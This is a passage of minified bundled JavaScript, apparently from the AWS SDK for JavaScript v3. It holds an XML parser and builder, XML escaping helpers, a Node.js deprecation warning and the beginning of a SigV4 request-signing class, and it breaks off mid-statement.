aA=null,z1=null;if(J1==="PUBLIC")[EA,aA]=F(DA,EA,"publicIdentifier"),DA[EA=y(DA,EA)]!=='"'&&DA[EA]!=="'"||([EA,z1]=F(DA,EA,"systemIdentifier"));else if(J1==="SYSTEM"&&([EA,z1]=F(DA,EA,"systemIdentifier"),!z1))throw Error("Missing mandatory system identifier for SYSTEM notation");return{notationName:rA,publicIdentifier:aA,systemIdentifier:z1,index:--EA}}function F(DA,EA,rA){let J1="",aA=DA[EA];if(aA!=='"'&&aA!=="'")throw Error(`Expected quoted string, found "${aA}"`);for(EA++;EA<DA.length&&DA[EA]!==aA;)J1+=DA[EA],EA++;if(DA[EA]!==aA)throw Error(`Unterminated ${rA} value`);return[++EA,J1]}function Q(DA,EA){EA=y(DA,EA);let rA="";for(;EA<DA.length&&!/\s/.test(DA[EA]);)rA+=DA[EA],EA++;if(!d(rA))throw Error(`Invalid element name: "${rA}"`);let J1="";if(DA[EA=y(DA,EA)]==="E"&&u(DA,"MPTY",EA))EA+=4;else if(DA[EA]==="A"&&u(DA,"NY",EA))EA+=2;else{if(DA[EA]!=="(")throw Error(`Invalid Element Expression, found "${DA[EA]}"`);for(EA++;EA<DA.length&&DA[EA]!==")";)J1+=DA[EA],EA++;if(DA[EA]!==")")throw Error("Unterminated content model")}return{elementName:rA,contentModel:J1.trim(),index:EA}}function u(DA,EA,rA){for(let J1=0;J1<EA.length;J1++)if(EA[J1]!==DA[rA+J1+1])return!1;return!0}function d(DA){if(w(DA))return DA;throw Error(`Invalid entity name ${DA}`)}let r=/^[-+]?0x[a-fA-F0-9]+$/,c=/^([\-\+])?(0*)([0-9]*(\.[0-9]*)?)$/,YA={hex:!0,leadingZeros:!0,decimalPoint:".",eNotation:!0},e=/^([-+])?(0*)(\d*(\.\d*)?[eE][-\+]?\d+)$/;function qA(DA){return typeof DA=="function"?DA:Array.isArray(DA)?(EA)=>{for(let rA of DA){if(typeof rA=="string"&&EA===rA)return!0;if(rA instanceof RegExp&&rA.test(EA))return!0}}:()=>!1}class HA{constructor(DA){this.options=DA,this.currentNode=null,this.tagsNodeStack=[],this.docTypeEntities={},this.lastEntities={apos:{regex:/&(apos|#39|#x27);/g,val:"'"},gt:{regex:/&(gt|#62|#x3E);/g,val:">"},lt:{regex:/&(lt|#60|#x3C);/g,val:"<"},quot:{regex:/&(quot|#34|#x22);/g,val:'"'}},this.ampEntity={regex:/&(amp|#38|#x26);/g,val:"&"},this.htmlEntities={space:{regex:/&(nbsp|#160);/g,val:" "},cent:{regex:/&(cent|#162);/g,val:"¢"},pound:{regex:/&(pound|#163);/g,val:"£"},yen:{regex:/&(yen|#165);/g,val:"¥"},euro:{regex:/&(euro|#8364);/g,val:"€"},copyright:{regex:/&(copy|#169);/g,val:"©"},reg:{regex:/&(reg|#174);/g,val:"®"},inr:{regex:/&(inr|#8377);/g,val:"₹"},num_dec:{regex:/&#([0-9]{1,7});/g,val:(EA,rA)=>String.fromCodePoint(Number.parseInt(rA,10))},num_hex:{regex:/&#x([0-9a-fA-F]{1,6});/g,val:(EA,rA)=>String.fromCodePoint(Number.parseInt(rA,16))}},this.addExternalEntities=_A,this.parseXml=hA,this.parseTextData=a,this.resolveNameSpace=JA,this.buildAttributesMap=MA,this.isItStopNode=GA,this.replaceEntitiesValue=AA,this.readStopNodeData=XA,this.saveTextToParentTag=wA,this.addChild=yA,this.ignoreAttributesFn=qA(this.options.ignoreAttributes)}}function _A(DA){let EA=Object.keys(DA);for(let rA=0;rA<EA.length;rA++){let J1=EA[rA];this.lastEntities[J1]={regex:new RegExp("&"+J1+";","g"),val:DA[J1]}}}function a(DA,EA,rA,J1,aA,z1,f1){if(DA!==void 0&&(this.options.trimValues&&!J1&&(DA=DA.trim()),DA.length>0)){f1||(DA=this.replaceEntitiesValue(DA));let T1=this.options.tagValueProcessor(EA,DA,rA,aA,z1);return T1==null?DA:typeof T1!=typeof DA||T1!==DA?T1:this.options.trimValues||DA.trim()===DA?VA(DA,this.options.parseTagValue,this.options.numberParseOptions):DA}}function JA(DA){if(this.options.removeNSPrefix){let EA=DA.split(":"),rA=DA.charAt(0)==="/"?"/":"";if(EA[0]==="xmlns")return"";EA.length===2&&(DA=rA+EA[1])}return DA}let jA=new RegExp(`([^\\s=]+)\\s*(=\\s*(['"])([\\s\\S]*?)\\3)?`,"gm");function MA(DA,EA,rA){if(this.options.ignoreAttributes!==!0&&typeof DA=="string"){let J1=z(DA,jA),aA=J1.length,z1={};for(let f1=0;f1<aA;f1++){let T1=this.resolveNameSpace(J1[f1][1]);if(this.ignoreAttributesFn(T1,EA))continue;let K6=J1[f1][4],U6=this.options.attributeNamePrefix+T1;if(T1.length)if(this.options.transformAttributeName&&(U6=this.options.transformAttributeName(U6)),U6==="__proto__"&&(U6="#__proto__"),K6!==void 0){this.options.trimValues&&(K6=K6.trim()),K6=this.replaceEntitiesValue(K6);let e8=this.options.attributeValueProcessor(T1,K6,EA);z1[U6]=e8==null?K6:typeof e8!=typeof K6||e8!==K6?e8:VA(K6,this.options.parseAttributeValue,this.options.numberParseOptions)}else this.options.allowBooleanAttributes&&(z1[U6]=!0)}if(!Object.keys(z1).length)return;if(this.options.attributesGroupName){let f1={};return f1[this.options.attributesGroupName]=z1,f1}return z1}}let hA=function(DA){DA=DA.replace(/\r\n?/g,` `);let EA=new R("!xml"),rA=EA,J1="",aA="";for(let z1=0;z1<DA.length;z1++)if(DA[z1]==="<")if(DA[z1+1]==="/"){let f1=OA(DA,">",z1,"Closing Tag is not closed."),T1=DA.substring(z1+2,f1).trim();if(this.options.removeNSPrefix){let e8=T1.indexOf(":");e8!==-1&&(T1=T1.substr(e8+1))}this.options.transformTagName&&(T1=this.options.transformTagName(T1)),rA&&(J1=this.saveTextToParentTag(J1,rA,aA));let K6=aA.substring(aA.lastIndexOf(".")+1);if(T1&&this.options.unpairedTags.indexOf(T1)!==-1)throw Error(`Unpaired tag can not be used as closing tag: </${T1}>`);let U6=0;K6&&this.options.unpairedTags.indexOf(K6)!==-1?(U6=aA.lastIndexOf(".",aA.lastIndexOf(".")-1),this.tagsNodeStack.pop()):U6=aA.lastIndexOf("."),aA=aA.substring(0,U6),rA=this.tagsNodeStack.pop(),J1="",z1=f1}else if(DA[z1+1]==="?"){let f1=t(DA,z1,!1,"?>");if(!f1)throw Error("Pi Tag is not closed.");if(J1=this.saveTextToParentTag(J1,rA,aA),this.options.ignoreDeclaration&&f1.tagName==="?xml"||this.options.ignorePiTags);else{let T1=new R(f1.tagName);T1.add(this.options.textNodeName,""),f1.tagName!==f1.tagExp&&f1.attrExpPresent&&(T1[":@"]=this.buildAttributesMap(f1.tagExp,aA,f1.tagName)),this.addChild(rA,T1,aA,z1)}z1=f1.closeIndex+1}else if(DA.substr(z1+1,3)==="!--"){let f1=OA(DA,"-->",z1+4,"Comment is not closed.");if(this.options.commentPropName){let T1=DA.substring(z1+4,f1-2);J1=this.saveTextToParentTag(J1,rA,aA),rA.add(this.options.commentPropName,[{[this.options.textNodeName]:T1}])}z1=f1}else if(DA.substr(z1+1,2)==="!D"){let f1=x(DA,z1);this.docTypeEntities=f1.entities,z1=f1.i}else if(DA.substr(z1+1,2)==="!["){let f1=OA(DA,"]]>",z1,"CDATA is not closed.")-2,T1=DA.substring(z1+9,f1);J1=this.saveTextToParentTag(J1,rA,aA);let K6=this.parseTextData(T1,rA.tagname,aA,!0,!1,!0,!0);K6==null&&(K6=""),this.options.cdataPropName?rA.add(this.options.cdataPropName,[{[this.options.textNodeName]:T1}]):rA.add(this.options.textNodeName,K6),z1=f1+2}else{let f1=t(DA,z1,this.options.removeNSPrefix),T1=f1.tagName,K6=f1.rawTagName,U6=f1.tagExp,e8=f1.attrExpPresent,D8=f1.closeIndex;this.options.transformTagName&&(T1=this.options.transformTagName(T1)),rA&&J1&&rA.tagname!=="!xml"&&(J1=this.saveTextToParentTag(J1,rA,aA,!1));let Y7=rA;Y7&&this.options.unpairedTags.indexOf(Y7.tagname)!==-1&&(rA=this.tagsNodeStack.pop(),aA=aA.substring(0,aA.lastIndexOf("."))),T1!==EA.tagname&&(aA+=aA?"."+T1:T1);let T7=z1;if(this.isItStopNode(this.options.stopNodes,aA,T1)){let H4="";if(U6.length>0&&U6.lastIndexOf("/")===U6.length-1)T1[T1.length-1]==="/"?(T1=T1.substr(0,T1.length-1),aA=aA.substr(0,aA.length-1),U6=T1):U6=U6.substr(0,U6.length-1),z1=f1.closeIndex;else if(this.options.unpairedTags.indexOf(T1)!==-1)z1=f1.closeIndex;else{let s7=this.readStopNodeData(DA,K6,D8+1);if(!s7)throw Error(`Unexpected end of ${K6}`);z1=s7.i,H4=s7.tagContent}let u7=new R(T1);T1!==U6&&e8&&(u7[":@"]=this.buildAttributesMap(U6,aA,T1)),H4&&(H4=this.parseTextData(H4,T1,aA,!0,e8,!0,!0)),aA=aA.substr(0,aA.lastIndexOf(".")),u7.add(this.options.textNodeName,H4),this.addChild(rA,u7,aA,T7)}else{if(U6.length>0&&U6.lastIndexOf("/")===U6.length-1){T1[T1.length-1]==="/"?(T1=T1.substr(0,T1.length-1),aA=aA.substr(0,aA.length-1),U6=T1):U6=U6.substr(0,U6.length-1),this.options.transformTagName&&(T1=this.options.transformTagName(T1));let H4=new R(T1);T1!==U6&&e8&&(H4[":@"]=this.buildAttributesMap(U6,aA,T1)),this.addChild(rA,H4,aA,T7),aA=aA.substr(0,aA.lastIndexOf("."))}else{let H4=new R(T1);this.tagsNodeStack.push(rA),T1!==U6&&e8&&(H4[":@"]=this.buildAttributesMap(U6,aA,T1)),this.addChild(rA,H4,aA,T7),rA=H4}J1="",z1=D8}}else J1+=DA[z1];return EA.child};function yA(DA,EA,rA,J1){this.options.captureMetaData||(J1=void 0);let aA=this.options.updateTag(EA.tagname,rA,EA[":@"]);aA===!1||(typeof aA=="string"?(EA.tagname=aA,DA.addChild(EA,J1)):DA.addChild(EA,J1))}let AA=function(DA){if(this.options.processEntities){for(let EA in this.docTypeEntities){let rA=this.docTypeEntities[EA];DA=DA.replace(rA.regx,rA.val)}for(let EA in this.lastEntities){let rA=this.lastEntities[EA];DA=DA.replace(rA.regex,rA.val)}if(this.options.htmlEntities)for(let EA in this.htmlEntities){let rA=this.htmlEntities[EA];DA=DA.replace(rA.regex,rA.val)}DA=DA.replace(this.ampEntity.regex,this.ampEntity.val)}return DA};function wA(DA,EA,rA,J1){return DA&&(J1===void 0&&(J1=EA.child.length===0),(DA=this.parseTextData(DA,EA.tagname,rA,!1,!!EA[":@"]&&Object.keys(EA[":@"]).length!==0,J1))!==void 0&&DA!==""&&EA.add(this.options.textNodeName,DA),DA=""),DA}function GA(DA,EA,rA){let J1="*."+rA;for(let aA in DA){let z1=DA[aA];if(J1===z1||EA===z1)return!0}return!1}function OA(DA,EA,rA,J1){let aA=DA.indexOf(EA,rA);if(aA===-1)throw Error(J1);return aA+EA.length-1}function t(DA,EA,rA,J1=">"){let aA=function(D8,Y7,T7=">"){let H4,u7="";for(let s7=Y7;s7<D8.length;s7++){let k5=D8[s7];if(H4)k5===H4&&(H4="");else if(k5==='"'||k5==="'")H4=k5;else if(k5===T7[0]){if(!T7[1])return{data:u7,index:s7};if(D8[s7+1]===T7[1])return{data:u7,index:s7}}else k5==="\t"&&(k5=" ");u7+=k5}}(DA,EA+1,J1);if(!aA)return;let{data:z1,index:f1}=aA,T1=z1.search(/\s/),K6=z1,U6=!0;T1!==-1&&(K6=z1.substring(0,T1),z1=z1.substring(T1+1).trimStart());let e8=K6;if(rA){let D8=K6.indexOf(":");D8!==-1&&(K6=K6.substr(D8+1),U6=K6!==aA.data.substr(D8+1))}return{tagName:K6,tagExp:z1,closeIndex:f1,attrExpPresent:U6,rawTagName:e8}}function XA(DA,EA,rA){let J1=rA,aA=1;for(;rA<DA.length;rA++)if(DA[rA]==="<")if(DA[rA+1]==="/"){let z1=OA(DA,">",rA,`${EA} is not closed`);if(DA.substring(rA+2,z1).trim()===EA&&(aA--,aA===0))return{tagContent:DA.substring(J1,rA),i:z1};rA=z1}else if(DA[rA+1]==="?")rA=OA(DA,"?>",rA+1,"StopNode is not closed.");else if(DA.substr(rA+1,3)==="!--")rA=OA(DA,"-->",rA+3,"StopNode is not closed.");else if(DA.substr(rA+1,2)==="![")rA=OA(DA,"]]>",rA,"StopNode is not closed.")-2;else{let z1=t(DA,rA,">");z1&&((z1&&z1.tagName)===EA&&z1.tagExp[z1.tagExp.length-1]!=="/"&&aA++,rA=z1.closeIndex)}}function VA(DA,EA,rA){if(EA&&typeof DA=="string"){let J1=DA.trim();return J1==="true"||J1!=="false"&&function(aA,z1={}){if(z1=Object.assign({},YA,z1),!aA||typeof aA!="string")return aA;let f1=aA.trim();if(z1.skipLike!==void 0&&z1.skipLike.test(f1))return aA;if(aA==="0")return 0;if(z1.hex&&r.test(f1))return function(K6){if(parseInt)return parseInt(K6,16);if(Number.parseInt)return Number.parseInt(K6,16);if(window&&window.parseInt)return window.parseInt(K6,16);throw Error("parseInt, Number.parseInt, window.parseInt are not supported")}(f1);if(f1.search(/.+[eE].+/)!==-1)return function(K6,U6,e8){if(!e8.eNotation)return K6;let D8=U6.match(e);if(D8){let Y7=D8[1]||"",T7=D8[3].indexOf("e")===-1?"E":"e",H4=D8[2],u7=Y7?K6[H4.length+1]===T7:K6[H4.length]===T7;return H4.length>1&&u7?K6:H4.length!==1||!D8[3].startsWith(`.${T7}`)&&D8[3][0]!==T7?e8.leadingZeros&&!u7?(U6=(D8[1]||"")+D8[3],Number(U6)):K6:Number(U6)}return K6}(aA,f1,z1);{let K6=c.exec(f1);if(K6){let U6=K6[1]||"",e8=K6[2],D8=(T1=K6[3])&&T1.indexOf(".")!==-1?((T1=T1.replace(/0+$/,""))==="."?T1="0":T1[0]==="."?T1="0"+T1:T1[T1.length-1]==="."&&(T1=T1.substring(0,T1.length-1)),T1):T1,Y7=U6?aA[e8.length+1]===".":aA[e8.length]===".";if(!z1.leadingZeros&&(e8.length>1||e8.length===1&&!Y7))return aA;{let T7=Number(f1),H4=String(T7);if(T7===0||T7===-0)return T7;if(H4.search(/[eE]/)!==-1)return z1.eNotation?T7:aA;if(f1.indexOf(".")!==-1)return H4==="0"||H4===D8||H4===`${U6}${D8}`?T7:aA;let u7=e8?D8:f1;return e8?u7===H4||U6+u7===H4?T7:aA:u7===H4||u7===U6+H4?T7:aA}}return aA}var T1}(DA,rA)}return DA!==void 0?DA:""}let vA=R.getMetaDataSymbol();function RA(DA,EA){return fA(DA,EA)}function fA(DA,EA,rA){let J1,aA={};for(let z1=0;z1<DA.length;z1++){let f1=DA[z1],T1=LA(f1),K6="";if(K6=rA===void 0?T1:rA+"."+T1,T1===EA.textNodeName)J1===void 0?J1=f1[T1]:J1+=""+f1[T1];else{if(T1===void 0)continue;if(f1[T1]){let U6=fA(f1[T1],EA,K6),e8=xA(U6,EA);f1[vA]!==void 0&&(U6[vA]=f1[vA]),f1[":@"]?SA(U6,f1[":@"],K6,EA):Object.keys(U6).length!==1||U6[EA.textNodeName]===void 0||EA.alwaysCreateTextNode?Object.keys(U6).length===0&&(EA.alwaysCreateTextNode?U6[EA.textNodeName]="":U6=""):U6=U6[EA.textNodeName],aA[T1]!==void 0&&aA.hasOwnProperty(T1)?(Array.isArray(aA[T1])||(aA[T1]=[aA[T1]]),aA[T1].push(U6)):EA.isArray(T1,K6,e8)?aA[T1]=[U6]:aA[T1]=U6}}}return typeof J1=="string"?J1.length>0&&(aA[EA.textNodeName]=J1):J1!==void 0&&(aA[EA.textNodeName]=J1),aA}function LA(DA){let EA=Object.keys(DA);for(let rA=0;rA<EA.length;rA++){let J1=EA[rA];if(J1!==":@")return J1}}function SA(DA,EA,rA,J1){if(EA){let aA=Object.keys(EA),z1=aA.length;for(let f1=0;f1<z1;f1++){let T1=aA[f1];J1.isArray(T1,rA+"."+T1,!0,!0)?DA[T1]=[EA[T1]]:DA[T1]=EA[T1]}}}function xA(DA,EA){let{textNodeName:rA}=EA,J1=Object.keys(DA).length;return J1===0||!(J1!==1||!DA[rA]&&typeof DA[rA]!="boolean"&&DA[rA]!==0)}class iA{constructor(DA){this.externalEntities={},this.options=function(EA){return Object.assign({},T,EA)}(DA)}parse(DA,EA){if(typeof DA=="string");else{if(!DA.toString)throw Error("XML data is accepted in String or Bytes[] form.");DA=DA.toString()}if(EA){EA===!0&&(EA={});let aA=J(DA,EA);if(aA!==!0)throw Error(`${aA.err.msg}:${aA.err.line}:${aA.err.col}`)}let rA=new HA(this.options);rA.addExternalEntities(this.externalEntities);let J1=rA.parseXml(DA);return this.options.preserveOrder||J1===void 0?J1:RA(J1,this.options)}addEntity(DA,EA){if(EA.indexOf("&")!==-1)throw Error("Entity value can't have '&'");if(DA.indexOf("&")!==-1||DA.indexOf(";")!==-1)throw Error("An entity must be set without '&' and ';'. Eg. use '#xD' for '
'");if(EA==="&")throw Error("An entity with value '&' is not permitted");this.externalEntities[DA]=EA}static getMetaDataSymbol(){return R.getMetaDataSymbol()}}function lA(DA,EA){let rA="";return EA.format&&EA.indentBy.length>0&&(rA=` `),v1(DA,EA,"",rA)}function v1(DA,EA,rA,J1){let aA="",z1=!1;for(let f1=0;f1<DA.length;f1++){let T1=DA[f1],K6=I1(T1);if(K6===void 0)continue;let U6="";if(U6=rA.length===0?K6:`${rA}.${K6}`,K6===EA.textNodeName){let T7=T1[K6];B1(U6,EA)||(T7=EA.tagValueProcessor(K6,T7),T7=C6(T7,EA)),z1&&(aA+=J1),aA+=T7,z1=!1;continue}if(K6===EA.cdataPropName){z1&&(aA+=J1),aA+=`<![CDATA[${T1[K6][0][EA.textNodeName]}]]>`,z1=!1;continue}if(K6===EA.commentPropName){aA+=J1+`<!--${T1[K6][0][EA.textNodeName]}-->`,z1=!0;continue}if(K6[0]==="?"){let T7=Q1(T1[":@"],EA),H4=K6==="?xml"?"":J1,u7=T1[K6][0][EA.textNodeName];u7=u7.length!==0?" "+u7:"",aA+=H4+`<${K6}${u7}${T7}?>`,z1=!0;continue}let e8=J1;e8!==""&&(e8+=EA.indentBy);let D8=J1+`<${K6}${Q1(T1[":@"],EA)}`,Y7=v1(T1[K6],EA,U6,e8);EA.unpairedTags.indexOf(K6)!==-1?EA.suppressUnpairedNode?aA+=D8+">":aA+=D8+"/>":Y7&&Y7.length!==0||!EA.suppressEmptyNode?Y7&&Y7.endsWith(">")?aA+=D8+`>${Y7}${J1}</${K6}>`:(aA+=D8+">",Y7&&J1!==""&&(Y7.includes("/>")||Y7.includes("</"))?aA+=J1+EA.indentBy+Y7+J1:aA+=Y7,aA+=`</${K6}>`):aA+=D8+"/>",z1=!0}return aA}function I1(DA){let EA=Object.keys(DA);for(let rA=0;rA<EA.length;rA++){let J1=EA[rA];if(DA.hasOwnProperty(J1)&&J1!==":@")return J1}}function Q1(DA,EA){let rA="";if(DA&&!EA.ignoreAttributes)for(let J1 in DA){if(!DA.hasOwnProperty(J1))continue;let aA=EA.attributeValueProcessor(J1,DA[J1]);aA=C6(aA,EA),aA===!0&&EA.suppressBooleanAttributes?rA+=` ${J1.substr(EA.attributeNamePrefix.length)}`:rA+=` ${J1.substr(EA.attributeNamePrefix.length)}="${aA}"`}return rA}function B1(DA,EA){let rA=(DA=DA.substr(0,DA.length-EA.textNodeName.length-1)).substr(DA.lastIndexOf(".")+1);for(let J1 in EA.stopNodes)if(EA.stopNodes[J1]===DA||EA.stopNodes[J1]==="*."+rA)return!0;return!1}function C6(DA,EA){if(DA&&DA.length>0&&EA.processEntities)for(let rA=0;rA<EA.entities.length;rA++){let J1=EA.entities[rA];DA=DA.replace(J1.regex,J1.val)}return DA}let w1={attributeNamePrefix:"@_",attributesGroupName:!1,textNodeName:"#text",ignoreAttributes:!0,cdataPropName:!1,format:!1,indentBy:" ",suppressEmptyNode:!1,suppressUnpairedNode:!0,suppressBooleanAttributes:!0,tagValueProcessor:function(DA,EA){return EA},attributeValueProcessor:function(DA,EA){return EA},preserveOrder:!1,commentPropName:!1,unpairedTags:[],entities:[{regex:new RegExp("&","g"),val:"&"},{regex:new RegExp(">","g"),val:">"},{regex:new RegExp("<","g"),val:"<"},{regex:new RegExp("'","g"),val:"'"},{regex:new RegExp('"',"g"),val:"""}],processEntities:!0,stopNodes:[],oneListGroup:!1};function $1(DA){this.options=Object.assign({},w1,DA),this.options.ignoreAttributes===!0||this.options.attributesGroupName?this.isAttribute=function(){return!1}:(this.ignoreAttributesFn=qA(this.options.ignoreAttributes),this.attrPrefixLen=this.options.attributeNamePrefix.length,this.isAttribute=c1),this.processTextOrObjNode=N1,this.options.format?(this.indentate=A6,this.tagEndChar=`> `,this.newLine=` `):(this.indentate=function(){return""},this.tagEndChar=">",this.newLine="")}function N1(DA,EA,rA,J1){let aA=this.j2x(DA,rA+1,J1.concat(EA));return DA[this.options.textNodeName]!==void 0&&Object.keys(DA).length===1?this.buildTextValNode(DA[this.options.textNodeName],EA,aA.attrStr,rA):this.buildObjectNode(aA.val,EA,aA.attrStr,rA)}function A6(DA){return this.options.indentBy.repeat(DA)}function c1(DA){return!(!DA.startsWith(this.options.attributeNamePrefix)||DA===this.options.textNodeName)&&DA.substr(this.attrPrefixLen)}$1.prototype.build=function(DA){return this.options.preserveOrder?lA(DA,this.options):(Array.isArray(DA)&&this.options.arrayNodeName&&this.options.arrayNodeName.length>1&&(DA={[this.options.arrayNodeName]:DA}),this.j2x(DA,0,[]).val)},$1.prototype.j2x=function(DA,EA,rA){let J1="",aA="",z1=rA.join(".");for(let f1 in DA)if(Object.prototype.hasOwnProperty.call(DA,f1))if(DA[f1]===void 0)this.isAttribute(f1)&&(aA+="");else if(DA[f1]===null)this.isAttribute(f1)||f1===this.options.cdataPropName?aA+="":f1[0]==="?"?aA+=this.indentate(EA)+"<"+f1+"?"+this.tagEndChar:aA+=this.indentate(EA)+"<"+f1+"/"+this.tagEndChar;else if(DA[f1]instanceof Date)aA+=this.buildTextValNode(DA[f1],f1,"",EA);else if(typeof DA[f1]!="object"){let T1=this.isAttribute(f1);if(T1&&!this.ignoreAttributesFn(T1,z1))J1+=this.buildAttrPairStr(T1,""+DA[f1]);else if(!T1)if(f1===this.options.textNodeName){let K6=this.options.tagValueProcessor(f1,""+DA[f1]);aA+=this.replaceEntitiesValue(K6)}else aA+=this.buildTextValNode(DA[f1],f1,"",EA)}else if(Array.isArray(DA[f1])){let T1=DA[f1].length,K6="",U6="";for(let e8=0;e8<T1;e8++){let D8=DA[f1][e8];if(D8===void 0);else if(D8===null)f1[0]==="?"?aA+=this.indentate(EA)+"<"+f1+"?"+this.tagEndChar:aA+=this.indentate(EA)+"<"+f1+"/"+this.tagEndChar;else if(typeof D8=="object")if(this.options.oneListGroup){let Y7=this.j2x(D8,EA+1,rA.concat(f1));K6+=Y7.val,this.options.attributesGroupName&&D8.hasOwnProperty(this.options.attributesGroupName)&&(U6+=Y7.attrStr)}else K6+=this.processTextOrObjNode(D8,f1,EA,rA);else if(this.options.oneListGroup){let Y7=this.options.tagValueProcessor(f1,D8);Y7=this.replaceEntitiesValue(Y7),K6+=Y7}else K6+=this.buildTextValNode(D8,f1,"",EA)}this.options.oneListGroup&&(K6=this.buildObjectNode(K6,f1,U6,EA)),aA+=K6}else if(this.options.attributesGroupName&&f1===this.options.attributesGroupName){let T1=Object.keys(DA[f1]),K6=T1.length;for(let U6=0;U6<K6;U6++)J1+=this.buildAttrPairStr(T1[U6],""+DA[f1][T1[U6]])}else aA+=this.processTextOrObjNode(DA[f1],f1,EA,rA);return{attrStr:J1,val:aA}},$1.prototype.buildAttrPairStr=function(DA,EA){return EA=this.options.attributeValueProcessor(DA,""+EA),EA=this.replaceEntitiesValue(EA),this.options.suppressBooleanAttributes&&EA==="true"?" "+DA:" "+DA+'="'+EA+'"'},$1.prototype.buildObjectNode=function(DA,EA,rA,J1){if(DA==="")return EA[0]==="?"?this.indentate(J1)+"<"+EA+rA+"?"+this.tagEndChar:this.indentate(J1)+"<"+EA+rA+this.closeTag(EA)+this.tagEndChar;{let aA="</"+EA+this.tagEndChar,z1="";return EA[0]==="?"&&(z1="?",aA=""),!rA&&rA!==""||DA.indexOf("<")!==-1?this.options.commentPropName!==!1&&EA===this.options.commentPropName&&z1.length===0?this.indentate(J1)+`<!--${DA}-->`+this.newLine:this.indentate(J1)+"<"+EA+rA+z1+this.tagEndChar+DA+this.indentate(J1)+aA:this.indentate(J1)+"<"+EA+rA+z1+">"+DA+aA}},$1.prototype.closeTag=function(DA){let EA="";return this.options.unpairedTags.indexOf(DA)!==-1?this.options.suppressUnpairedNode||(EA="/"):EA=this.options.suppressEmptyNode?"/":`></${DA}`,EA},$1.prototype.buildTextValNode=function(DA,EA,rA,J1){if(this.options.cdataPropName!==!1&&EA===this.options.cdataPropName)return this.indentate(J1)+`<![CDATA[${DA}]]>`+this.newLine;if(this.options.commentPropName!==!1&&EA===this.options.commentPropName)return this.indentate(J1)+`<!--${DA}-->`+this.newLine;if(EA[0]==="?")return this.indentate(J1)+"<"+EA+rA+"?"+this.tagEndChar;{let aA=this.options.tagValueProcessor(EA,DA);return aA=this.replaceEntitiesValue(aA),aA===""?this.indentate(J1)+"<"+EA+rA+this.closeTag(EA)+this.tagEndChar:this.indentate(J1)+"<"+EA+rA+">"+aA+"</"+EA+this.tagEndChar}},$1.prototype.replaceEntitiesValue=function(DA){if(DA&&DA.length>0&&this.options.processEntities)for(let EA=0;EA<this.options.entities.length;EA++){let rA=this.options.entities[EA];DA=DA.replace(rA.regex,rA.val)}return DA};let w6={validate:J};hQ8.exports=K})()});var uQ8=v((xQ8)=>{Object.defineProperty(xQ8,"__esModule",{value:!0});xQ8.parseXML=_T5;var $T5=bQ8(),xn1=new $T5.XMLParser({attributeNamePrefix:"",htmlEntities:!0,ignoreAttributes:!1,ignoreDeclaration:!0,parseTagValue:!1,trimValues:!1,tagValueProcessor:(A,K)=>K.trim()===""&&K.includes(` `)?"":void 0});xn1.addEntity("#xD","\r");xn1.addEntity("#10",` `);function _T5(A){return xn1.parse(A,!0)}});var Bn1=v((BQ8)=>{var ZT5=uQ8();function WT5(A){return A.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""")}function DT5(A){return A.replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(/</g,"<").replace(/>/g,">").replace(/\r/g,"
").replace(/\n/g,"
").replace(/\u0085/g,"…").replace(/\u2028/,"
")}class un1{value;constructor(A){this.value=A}toString(){return DT5(""+this.value)}}class FCA{name;children;attributes={};static of(A,K,q){let Y=new FCA(A);if(K!==void 0)Y.addChildNode(new un1(K));if(q!==void 0)Y.withName(q);return Y}constructor(A,K=[]){this.name=A,this.children=K}withName(A){return this.name=A,this}addAttribute(A,K){return this.attributes[A]=K,this}addChildNode(A){return this.children.push(A),this}removeAttribute(A){return delete this.attributes[A],this}n(A){return this.name=A,this}c(A){return this.children.push(A),this}a(A,K){if(K!=null)this.attributes[A]=K;return this}cc(A,K,q=K){if(A[K]!=null){let Y=FCA.of(K,A[K]).withName(q);this.c(Y)}}l(A,K,q,Y){if(A[K]!=null)Y().map((w)=>{w.withName(q),this.c(w)})}lc(A,K,q,Y){if(A[K]!=null){let z=Y(),w=new FCA(q);z.map((H)=>{w.c(H)}),this.c(w)}}toString(){let A=Boolean(this.children.length),K=`<${this.name}`,q=this.attributes;for(let Y of Object.keys(q)){let z=q[Y];if(z!=null)K+=` ${Y}="${WT5(""+z)}"`}return K+=!A?"/>":`>${this.children.map((Y)=>Y.toString()).join("")}</${this.name}>`}}Object.defineProperty(BQ8,"parseXML",{enumerable:!0,get:function(){return ZT5.parseXML}});BQ8.XmlNode=FCA;BQ8.XmlText=un1});var aw=v((gT5)=>{var gn1=h61(),ti=Gz(),mQ8=dX(),PT5=fV(),gQ8=On1(),FQ8=Tn1(),Zz=DJ(),nF=In1(),EZ=VV(),s_=PV(),UCA=bn1(),iQ8=_z(),eE=Bn1(),mn1={warningEmitted:!1},VT5=(A)=>{if(A&&!mn1.warningEmitted&&parseInt(A.substring(1,A.indexOf(".")))<18)mn1.warningEmitted=!0,process.emitWarning(`NodeDeprecationWarning: The AWS SDK for JavaScript (v3) will no longer support Node.js 16.x on January 6, 2025. To continue receiving updates to AWS services, bug fixes, and security updates please upgrade to a supported Node.js LTS version. More information can be found at: https://a.co/74kJMmI`)};function fT5(A,K,q){if(!A.$source)A.$source={};return A.$source[K]=q,A}function NT5(A,K,q){if(!A.__aws_sdk_context)A.__aws_sdk_context={features:{}};else if(!A.__aws_sdk_context.features)A.__aws_sdk_context.features={};A.__aws_sdk_context.features[K]=q}function TT5(A,K,q){if(!A.$source)A.$source={};return A.$source[K]=q,A}var QQ8=(A)=>gn1.HttpResponse.isInstance(A)?A.headers?.date??A.headers?.Date:void 0,Fn1=(A)=>new Date(Date.now()+A),vT5=(A,K)=>Math.abs(Fn1(K).getTime()-A)>=300000,UQ8=(A,K)=>{let q=Date.parse(A);if(vT5(q,K))return q-Date.now();return K},QCA=(A,K)=>{if(!K)throw Error(`Property \`${A}\` is not resolved for AWS SDK SigV4Auth`);return K},Qn1=async(A)=>{let K=QCA("context",A.context),q=QCA("config",A.config),Y=K.endpointV2?.properties?.authSchemes?.[0],w=await QCA("signer",q.signer)(Y),H=A?.signingRegion,J=A?.signingRegionSet,O=A?.signingName;return{config:q,signer:w,signingRegion:H,signingRegionSet:J,signingName:O}};class l61{async sign(A,K,q){if(!gn1.HttpRequest.isInstance(A))throw Error("The request is not an instance of `HttpRequest` and cannot be signed");let Y=await 